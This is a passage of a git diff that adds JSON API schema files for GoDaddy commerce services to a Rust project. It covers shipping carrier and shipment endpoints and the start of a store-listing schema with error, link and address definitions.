"string" + } + }, + "type": "object" + } + }, + "type": "object" + } + ] + } + }, + "500": { + "description": "Internal server error", + "schema": { + "$id": "https://godaddy.com/schemas/common/error.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "definitions": { + "error-details": { + "$id": "https://godaddy.com/schemas/common/error-details.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The error details. Required for client-side `4XX` errors.", + "properties": { + "description": { + "description": "The human-readable description for an issue. The description MAY change over the lifetime of an API, so clients MUST NOT depend on this value.", + "type": "string" + }, + "field": { + "description": "The field that caused the error. If the field is in the body, set this value to the JSON pointer to that field. Required for client-side errors.", + "type": "string" + }, + "issue": { + "description": "The unique fine-grained application-level error code.", + "type": "string" + }, + "location": { + "default": "body", + "description": "The location of the field that caused the error. Value is `body`, `path`, or `query`.", + "type": "string" + }, + "value": { + "description": "The value of the field that caused the error.", + "type": "string" + } + }, + "required": [ + "issue" + ], + "title": "Error Details", + "type": "object" + }, + "link-description": { + "$id": "https://godaddy.com/schemas/common/link-description.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", + "properties": { + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" + }, + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" + }, + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" + }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" + }, + "targetSchema": { + "description": "The schema that describes the link target." + }, + "title": { + "description": "The link title.", + "type": "string" + } + }, + "required": [ + "rel", + "href" + ], + "title": "Link Description", + "type": "object" + } + }, + "description": "The error information.", + "properties": { + "correlationId": { + "description": "Internal identifier used for correlation purposes.", + "type": "string" + }, + "details": { + "additionalItems": false, + "description": "An array of additional details about the error. Required for client-side `4XX` errors.", + "items": { + "$ref": "./error-details.json" + }, + "type": "array" + }, + "informationLink": { + "description": "The URI for detailed information related to this error for the developer.", + "type": "string" + }, + "links": { + "description": "An array of error-related HATEOAS links.", + "items": { + "$ref": "./link-description.json" + }, + "readOnly": true, + "type": "array" + }, + "message": { + "description": "The message that describes the error.", + "type": "string" + }, + "name": { + "description": "The human-readable, unique name of the error.", + "type": "string" + } + }, + "required": [ + "name", + "correlationId", + "message" + ], + "title": "Error", + "type": "object" + } + }, + "400": { + "description": "Bad Request Error", + "schema": { + "$id": "https://godaddy.com/schemas/common/error.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "definitions": { + "error-details": { + "$id": "https://godaddy.com/schemas/common/error-details.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The error details. Required for client-side `4XX` errors.", + "properties": { + "description": { + "description": "The human-readable description for an issue. The description MAY change over the lifetime of an API, so clients MUST NOT depend on this value.", + "type": "string" + }, + "field": { + "description": "The field that caused the error. If the field is in the body, set this value to the JSON pointer to that field. Required for client-side errors.", + "type": "string" + }, + "issue": { + "description": "The unique fine-grained application-level error code.", + "type": "string" + }, + "location": { + "default": "body", + "description": "The location of the field that caused the error. Value is `body`, `path`, or `query`.", + "type": "string" + }, + "value": { + "description": "The value of the field that caused the error.", + "type": "string" + } + }, + "required": [ + "issue" + ], + "title": "Error Details", + "type": "object" + }, + "link-description": { + "$id": "https://godaddy.com/schemas/common/link-description.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", + "properties": { + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" + }, + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" + }, + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" + }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" + }, + "targetSchema": { + "description": "The schema that describes the link target." + }, + "title": { + "description": "The link title.", + "type": "string" + } + }, + "required": [ + "rel", + "href" + ], + "title": "Link Description", + "type": "object" + } + }, + "description": "The error information.", + "properties": { + "correlationId": { + "description": "Internal identifier used for correlation purposes.", + "type": "string" + }, + "details": { + "additionalItems": false, + "description": "An array of additional details about the error. Required for client-side `4XX` errors.", + "items": { + "$ref": "./error-details.json" + }, + "type": "array" + }, + "informationLink": { + "description": "The URI for detailed information related to this error for the developer.", + "type": "string" + }, + "links": { + "description": "An array of error-related HATEOAS links.", + "items": { + "$ref": "./link-description.json" + }, + "readOnly": true, + "type": "array" + }, + "message": { + "description": "The message that describes the error.", + "type": "string" + }, + "name": { + "description": "The human-readable, unique name of the error.", + "type": "string" + } + }, + "required": [ + "name", + "correlationId", + "message" + ], + "title": "Error", + "type": "object" + } + }, + "409": { + "description": "A request conflict with the current state of the target resource", + "schema": { + "$id": "https://godaddy.com/schemas/common/error.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "definitions": { + "error-details": { + "$id": "https://godaddy.com/schemas/common/error-details.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The error details. Required for client-side `4XX` errors.", + "properties": { + "description": { + "description": "The human-readable description for an issue. The description MAY change over the lifetime of an API, so clients MUST NOT depend on this value.", + "type": "string" + }, + "field": { + "description": "The field that caused the error. If the field is in the body, set this value to the JSON pointer to that field. Required for client-side errors.", + "type": "string" + }, + "issue": { + "description": "The unique fine-grained application-level error code.", + "type": "string" + }, + "location": { + "default": "body", + "description": "The location of the field that caused the error. Value is `body`, `path`, or `query`.", + "type": "string" + }, + "value": { + "description": "The value of the field that caused the error.", + "type": "string" + } + }, + "required": [ + "issue" + ], + "title": "Error Details", + "type": "object" + }, + "link-description": { + "$id": "https://godaddy.com/schemas/common/link-description.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", + "properties": { + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" + }, + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" + }, + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" + }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" + }, + "targetSchema": { + "description": "The schema that describes the link target." + }, + "title": { + "description": "The link title.", + "type": "string" + } + }, + "required": [ + "rel", + "href" + ], + "title": "Link Description", + "type": "object" + } + }, + "description": "The error information.", + "properties": { + "correlationId": { + "description": "Internal identifier used for correlation purposes.", + "type": "string" + }, + "details": { + "additionalItems": false, + "description": "An array of additional details about the error. Required for client-side `4XX` errors.", + "items": { + "$ref": "./error-details.json" + }, + "type": "array" + }, + "informationLink": { + "description": "The URI for detailed information related to this error for the developer.", + "type": "string" + }, + "links": { + "description": "An array of error-related HATEOAS links.", + "items": { + "$ref": "./link-description.json" + }, + "readOnly": true, + "type": "array" + }, + "message": { + "description": "The message that describes the error.", + "type": "string" + }, + "name": { + "description": "The human-readable, unique name of the error.", + "type": "string" + } + }, + "required": [ + "name", + "correlationId", + "message" + ], + "title": "Error", + "type": "object" + } + } + }, + "scopes": [] + } + ] +} \ No newline at end of file diff --git a/rust/schemas/api/shipping.json b/rust/schemas/api/shipping.json new file mode 100644 index 0000000..8092d5e --- /dev/null +++ b/rust/schemas/api/shipping.json @@ -0,0 +1,893 @@ +{ + "name": "shipping", + "title": "Shipping Service", + "description": "This API can be used for managing shipping", + "version": "1.9.0", + "baseUrl": "https://api.godaddy.com", + "endpoints": [ + { + "operationId": "queryCarriers", + "method": "GET", + "path": "/v1/commerce/stores/{storeId}/shipping/carriers", + "summary": "List all carriers", + "description": "Find carriers and filter them using the criteria provided", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "description": "Store ID" + }, + { + "name": "pageSize", + "in": "query", + "required": false, + "description": "A non-negative, non-zero integer indicating the maximum number of resouces to return at one time", + "schema": { + "default": 25, + "format": "int64", + "maximum": 100, + "minimum": 1, + "type": "integer" + } + }, + { + "name": "pageToken", + "in": "query", + "required": false, + "description": "Returns the resources that come after this specified cursor", + "schema": { + "description": "A cursor for use in pagination", + "example": "MTY1MTc0NTczMDAwMDsyRzVWc1dFRmhJa3RIOFBZNHFDMGlPR0RwVko=", + "type": "string" + } + }, + { + "name": "pageTokenDirection", + "in": "query", + "required": false, + "description": "Direction indicator used for cursor based pagination", + "schema": { + "default": "FORWARD", + "description": "Page token direction", + "enum": [ + "BACKWARD", + "FORWARD" + ], + "type": "string" + } + } + ], + "responses": { + "422": { + "description": "Application-specific request error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "500": { + "description": "Internal server error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "504": { + "description": "Gateway or dependency timeout", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "404": { + "description": "Resource not found", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "200": { + "description": "Successfully listed carriers", + "schema": { + "properties": { + "carriers": { + "items": { + "$ref": "./models/Carrier.yaml" + }, + "type": "array" + }, + "links": { + "description": "Array containing one or more HATEOAS link relations that are relevant for traversing carriers", + "items": { + "$id": "https://godaddy.com/schemas/common/link-description.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", + "properties": { + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" + }, + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" + }, + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" + }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" + }, + "targetSchema": { + "description": "The schema that describes the link target." + }, + "title": { + "description": "The link title.", + "type": "string" + } + }, + "required": [ + "rel", + "href" + ], + "title": "Link Description", + "type": "object" + }, + "type": "array" + }, + "status": { + "description": "Status of the response", + "example": "success", + "type": "string" + } + }, + "required": [ + "status", + "carriers", + "links" + ], + "title": "Carriers", + "type": "object" + } + }, + "503": { + "description": "Service is temporarily unavailable", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "401": { + "description": "Authentication info not sent or is invalid", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "409": { + "description": "Application-specific server state error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "403": { + "description": "Authenticated user is not allowed access", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "502": { + "description": "Bad gateway or failed dependency", + "schema": { + "$ref": "#/components/schemas/Error" + } + } + }, + "scopes": [ + "commerce.carrier:read" + ] + }, + { + "operationId": "createCarrier", + "method": "POST", + "path": "/v1/commerce/stores/{storeId}/shipping/carriers", + "summary": "Create a new carrier", + "description": "Create a new carrier", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "description": "Store ID" + } + ], + "requestBody": { + "required": true, + "description": "The carrier object to create", + "contentType": "application/json", + "schema": { + "$ref": "./models/Carrier.yaml" + } + }, + "responses": { + "404": { + "description": "Resource not found", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "200": { + "description": "Successfully created the carrier", + "schema": { + "properties": { + "carrier": { + "$ref": "./models/Carrier.yaml" + }, + "status": { + "description": "Status of the response", + "example": "success", + "type": "string" + } + }, + "required": [ + "status", + "carrier" + ], + "title": "CarrierCreated", + "type": "object" + } + }, + "403": { + "description": "Authenticated user is not allowed access", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "503": { + "description": "Service is temporarily unavailable", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "401": { + "description": "Authentication info not sent or is invalid", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "504": { + "description": "Gateway or dependency timeout", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "502": { + "description": "Bad gateway or failed dependency", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "500": { + "description": "Internal server error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "422": { + "description": "Application-specific request error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "409": { + "description": "Application-specific server state error", + "schema": { + "$ref": "#/components/schemas/Error" + } + } + }, + "scopes": [ + "commerce.carrier:create" + ] + }, + { + "operationId": "findCarrier", + "method": "GET", + "path": "/v1/commerce/stores/{storeId}/shipping/carriers/{carrierId}", + "summary": "Find a carrier", + "description": "Find a single carrier using the carrier ID.", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "description": "Store ID" + } + ], + "responses": { + "200": { + "description": "Successfully found the carrier", + "schema": { + "properties": { + "carrier": { + "$ref": "./models/Carrier.yaml" + }, + "status": { + "description": "Status of the response", + "example": "success", + "type": "string" + } + }, + "required": [ + "status", + "carrier" + ], + "type": "object" + } + }, + "504": { + "description": "Gateway or dependency timeout", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "500": { + "description": "Internal server error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "401": { + "description": "Authentication info not sent or is invalid", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "409": { + "description": "Application-specific server state error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "502": { + "description": "Bad gateway or failed dependency", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "503": { + "description": "Service is temporarily unavailable", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "422": { + "description": "Application-specific request error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "403": { + "description": "Authenticated user is not allowed access", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "404": { + "description": "Resource not found", + "schema": { + "$ref": "#/components/schemas/Error" + } + } + }, + "scopes": [ + "commerce.carrier:read" + ] + }, + { + "operationId": "queryShipments", + "method": "GET", + "path": "/v1/commerce/stores/{storeId}/shipping/shipments", + "summary": "List all shipments", + "description": "Find shipments and filter them using the criteria provided", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "description": "Store ID" + }, + { + "name": "pageSize", + "in": "query", + "required": false, + "description": "A non-negative, non-zero integer indicating the maximum number of resouces to return at one time", + "schema": { + "default": 25, + "format": "int64", + "maximum": 100, + "minimum": 1, + "type": "integer" + } + }, + { + "name": "pageToken", + "in": "query", + "required": false, + "description": "Returns the resources that come after this specified cursor", + "schema": { + "description": "A cursor for use in pagination", + "example": "MTY1MTc0NTczMDAwMDsyRzVWc1dFRmhJa3RIOFBZNHFDMGlPR0RwVko=", + "type": "string" + } + }, + { + "name": "pageTokenDirection", + "in": "query", + "required": false, + "description": "Direction indicator used for cursor based pagination", + "schema": { + "default": "FORWARD", + "description": "Page token direction", + "enum": [ + "BACKWARD", + "FORWARD" + ], + "type": "string" + } + } + ], + "responses": { + "504": { + "description": "Gateway or dependency timeout", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "403": { + "description": "Authenticated user is not allowed access", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "409": { + "description": "Application-specific server state error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "502": { + "description": "Bad gateway or failed dependency", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "404": { + "description": "Resource not found", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "422": { + "description": "Application-specific request error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "200": { + "description": "Successfully listed shipments", + "schema": { + "properties": { + "links": { + "description": "Array containing one or more HATEOAS link relations that are relevant for traversing shipments", + "items": { + "$id": "https://godaddy.com/schemas/common/link-description.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", + "properties": { + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" + }, + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" + }, + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" + }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" + }, + "targetSchema": { + "description": "The schema that describes the link target." + }, + "title": { + "description": "The link title.", + "type": "string" + } + }, + "required": [ + "rel", + "href" + ], + "title": "Link Description", + "type": "object" + }, + "type": "array" + }, + "shipments": { + "items": { + "$ref": "./models/Shipment.yaml" + }, + "type": "array" + }, + "status": { + "description": "Status of the response", + "example": "success", + "type": "string" + } + }, + "required": [ + "status", + "shipments", + "links" + ], + "title": "Shipments", + "type": "object" + } + }, + "500": { + "description": "Internal server error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "503": { + "description": "Service is temporarily unavailable", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "401": { + "description": "Authentication info not sent or is invalid", + "schema": { + "$ref": "#/components/schemas/Error" + } + } + }, + "scopes": [ + "commerce.shipment:read" + ] + }, + { + "operationId": "createShipment", + "method": "POST", + "path": "/v1/commerce/stores/{storeId}/shipping/shipments", + "summary": "Create a new shipment", + "description": "Create a new shipment", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "description": "Store ID" + } + ], + "requestBody": { + "required": true, + "description": "The shipment object to create", + "contentType": "application/json", + "schema": { + "$ref": "./models/Shipment.yaml" + } + }, + "responses": { + "200": { + "description": "Successfully created the shipment", + "schema": { + "properties": { + "shipment": { + "$ref": "./models/Shipment.yaml" + }, + "status": { + "description": "Status of the response", + "example": "success", + "type": "string" + } + }, + "required": [ + "status", + "shipment" + ], + "title": "ShipmentCreated", + "type": "object" + } + }, + "401": { + "description": "Authentication info not sent or is invalid", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "409": { + "description": "Application-specific server state error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "502": { + "description": "Bad gateway or failed dependency", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "503": { + "description": "Service is temporarily unavailable", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "504": { + "description": "Gateway or dependency timeout", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "404": { + "description": "Resource not found", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "422": { + "description": "Application-specific request error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "403": { + "description": "Authenticated user is not allowed access", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "500": { + "description": "Internal server error", + "schema": { + "$ref": "#/components/schemas/Error" + } + } + }, + "scopes": [ + "commerce.shipment:create" + ] + }, + { + "operationId": "findShipment", + "method": "GET", + "path": "/v1/commerce/stores/{storeId}/shipping/shipments/{shipmentId}", + "summary": "Find a shipment", + "description": "Find a single shipment using the shipment ID.", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "description": "Store ID" + }, + { + "name": "shipmentId", + "in": "path", + "required": true, + "description": "The ID of the shipment", + "schema": { + "description": "UUID of the shipment", + "format": "uuid", + "type": "string" + } + } + ], + "responses": { + "403": { + "description": "Authenticated user is not allowed access", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "200": { + "description": "Successfully found the shipment", + "schema": { + "properties": { + "shipment": { + "$ref": "./models/Shipment.yaml" + }, + "status": { + "description": "Status of the response", + "example": "success", + "type": "string" + } + }, + "required": [ + "status", + "shipment" + ], + "type": "object" + } + }, + "404": { + "description": "Resource not found", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "500": { + "description": "Internal server error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "503": { + "description": "Service is temporarily unavailable", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "409": { + "description": "Application-specific server state error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "422": { + "description": "Application-specific request error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "504": { + "description": "Gateway or dependency timeout", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "502": { + "description": "Bad gateway or failed dependency", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "401": { + "description": "Authentication info not sent or is invalid", + "schema": { + "$ref": "#/components/schemas/Error" + } + } + }, + "scopes": [ + "commerce.shipment:read" + ] + }, + { + "operationId": "cancelShipment", + "method": "POST", + "path": "/v1/commerce/stores/{storeId}/shipping/shipments/{shipmentId}/cancel", + "summary": "Cancel a shipment", + "description": "Cancel a shipment using the store and shipment IDs.", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "description": "Store ID" + }, + { + "name": "shipmentId", + "in": "path", + "required": true, + "description": "The ID of the shipment", + "schema": { + "description": "UUID of the shipment", + "format": "uuid", + "type": "string" + } + } + ], + "responses": { + "504": { + "description": "Gateway or dependency timeout", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "502": { + "description": "Bad gateway or failed dependency", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "503": { + "description": "Service is temporarily unavailable", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "401": { + "description": "Authentication info not sent or is invalid", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "200": { + "description": "Successfully canceled the shipment", + "schema": { + "properties": { + "shipment": { + "$ref": "./models/Shipment.yaml" + }, + "status": { + "description": "Status of the response", + "example": "success", + "type": "string" + } + }, + "required": [ + "status", + "shipment" + ], + "type": "object" + } + }, + "422": { + "description": "Application-specific request error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "404": { + "description": "Resource not found", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "403": { + "description": "Authenticated user is not allowed access", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "409": { + "description": "Application-specific server state error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "500": { + "description": "Internal server error", + "schema": { + "$ref": "#/components/schemas/Error" + } + } + }, + "scopes": [ + "commerce.shipment:cancel" + ] + } + ] +} \ No newline at end of file diff --git a/rust/schemas/api/stores.json b/rust/schemas/api/stores.json new file mode 100644 index 0000000..2c422c9 --- /dev/null +++ b/rust/schemas/api/stores.json @@ -0,0 +1,3917 @@ +{ + "name": "stores", + "title": "Commerce Store API", + "description": "This API is capable of recording, updating and retrieving store information", + "version": "2.1.0", + "baseUrl": "https://api.godaddy.com/v2/commerce", + "endpoints": [ + { + "operationId": "getStoresByBusinessId", + "method": "GET", + "path": "/stores", + "summary": "Get stores by business ID", + "description": "Retrieve the list of stores associated with a Business ID", + "parameters": [ + { + "name": "X-Request-Id", + "in": "header", + "required": false, + "description": "Request ID", + "schema": { + "format": "uuid", + "type": "string" + } + }, + { + "name": "businessId", + "in": "query", + "required": true, + "description": "Business ID", + "schema": { + "$ref": "./common-types/v1/uuid.json" + } + }, + { + "name": "If-Modified-Since", + "in": "header", + "required": false, + "description": "To check if data has been modified since a given date", + "schema": { + "format": "date-time", + "type": "string" + } + }, + { + "name": "page", + "in": "query", + "required": false, + "schema": { + "default": 1, + "type": "integer" + } + }, + { + "name": "pageSize", + "in": "query", + "required": false, + "schema": { + "default": 10, + "type": "integer" + } + }, + { + "name": "totalRequired", + "in": "query", + "required": false, + "schema": { + "default": false, + "type": "boolean" + } + }, + { + "name": "includeFields", + "in": "query", + "required": false, + "description": "List of fields to include in the response", + "schema": { + "items": { + "type": "string" + }, + "type": "array" + } + } + ], + "responses": { + "200": { + "description": "List of stores found", + "schema": { + "$id": "https://godaddy.com/schemas/commerce/store-list.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Resource representing a list of Stores", + "properties": { + "items": { + "description": "Array containing the current page of Stores", + "items": { + "$id": "https://godaddy.com/schemas/commerce/store.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Store represent a brand under a business", + "properties": { + "address": { + "$id": "https://godaddy.com/schemas/common/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "An internationalized postal address. Maps to [AddressValidationMetadata](https://github.com/googlei18n/libaddressinput/wiki/AddressValidationMetadata) from Google's Address Data Service and HTML 5.1 [Autofilling form controls: the autocomplete attribute](https://www.w3.org/TR/html51/sec-forms.html#autofilling-form-controls-the-autocomplete-attribute).", + "properties": { + "addressDetails": { + "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", + "properties": { + "addressType": { + "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", + "maxLength": 1, + "type": "string" + }, + "buildingName": { + "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", + "maxLength": 100, + "type": "string" + }, + "deliveryService": { + "description": "The delivery service. Post office box, bag number, or post office name.", + "maxLength": 100, + "type": "string" + }, + "geoCoordinates": { + "$id": "https://godaddy.com/schemas/common/geo-coordinates.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The geographic latitude and longitude coordinates.", + "properties": { + "latitude": { + "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}", + "type": "string" + }, + "longitude": { + "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}", + "type": "string" + } + }, + "required": [ + "longitude", + "latitude" + ], + "title": "Geographic Coordinates", + "type": "object" + }, + "streetName": { + "description": "The street name. Just `Drury` in `Drury Lane`.", + "maxLength": 100, + "type": "string" + }, + "streetNumber": { + "description": "The street number.", + "maxLength": 100, + "type": "string" + }, + "streetType": { + "description": "The street type. For example, avenue, boulevard, road, or expressway.", + "maxLength": 100, + "type": "string" + }, + "subBuilding": { + "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", + "maxLength": 100, + "type": "string" + } + }, + "title": "Address Details", + "type": "object" + }, + "addressLine1": { + "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", + "maxLength": 300, + "type": "string" + }, + "addressLine2": { + "description": "The second line of the address. For example, office suite or apartment number.", + "maxLength": 300, + "type": "string" + }, + "addressLine3": { + "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", + "maxLength": 100, + "type": "string" + }, + "adminArea1": { + "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", + "maxLength": 300, + "type": "string" + }, + "adminArea2": { + "description": "A city, town, or village. 